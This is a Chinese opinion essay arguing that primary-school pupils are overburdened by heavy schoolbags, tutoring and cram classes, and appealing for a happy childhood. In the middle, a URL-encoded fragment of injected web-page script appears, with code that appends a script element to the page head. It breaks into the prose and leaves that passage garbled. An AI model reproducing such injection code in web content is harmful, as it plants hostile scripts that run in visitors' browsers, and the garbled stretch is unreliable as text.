看到一副漫画，把减轻学生的负担，写成了喊轻学生负担，一字之差，令人思索。
早晨，无论在哪个城市或乡村最浩荡的风景就是上学，学校门口涌进的学生有的步行，有的车送，有的更是家长特护，在这些学生中最引人注意的是小学生，因为他们都背着沉甸甸的大书包，和他们弱小的身材极不相称。
周末和寒暑假更是有充电之时，小学生们更是在父母的指令下去各种辅导班，学钢琴，学舞蹈，学美术，练奥数——巴不得把自己的孩子培养成全能人才。
有的小学生甚至在每天的放学之后，还来不及吃晚饭，在老师的要求下便去补课了 ，有的老师连小学生中午休息的时间都不放过，边吃饭边补课。有的孩子从一年级开始就加入了补课的大军，请问孩子们受得了吗？
cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"< 孩子的诸多权利和天性被大人们剥夺了、压抑了。他们没有充足的睡眠、完整的周末、有趣的活动、自由的玩耍，真正的爱好。他们失去了最宝贵的童年时光，远离了美丽的大自然，远离了现实的社会，没有创造力和实践能力。
孩子的世界本来就是五彩缤纷的，意大利教育家马拉古兹曾说：孩子是由一百组成的，一百种语言，一百只手，一百个念头，一百种思考问题的方式，一百种聆听的方式，但遗憾的是，已被偷走了九十九。
大人们总想让孩子有一个美好的未来，甚至不惜以牺牲孩子的童年为代价。
一位“逼子成龙”的母亲谈到自己的孩子时说：如果我还他一个童年，那我就要欠他一个成年。这种心态在中国家长中颇具代表性。可是，不要忘了，快乐童年对人的一生多么重要，失掉童年将意味着什么。智利女诗人米斯特拉尔在诗中写道：“许多需要的东西我们可以等待，但儿童不能等。他的骨骼正在形成，血液正在生成，心智正在发育。对儿童我们不能说明天，他的名字是今天”
“以人为本”的含意是多方面的，如果我们打鸭子上架，让孩子们沿着固定的车辙走，孩子自身具有的创造天赋，势必受到有形和无形的伤害。如此这般下去，是不是对孩子的一种犯罪呢？归根到底一句话：还孩子们一个快乐的童年吧！
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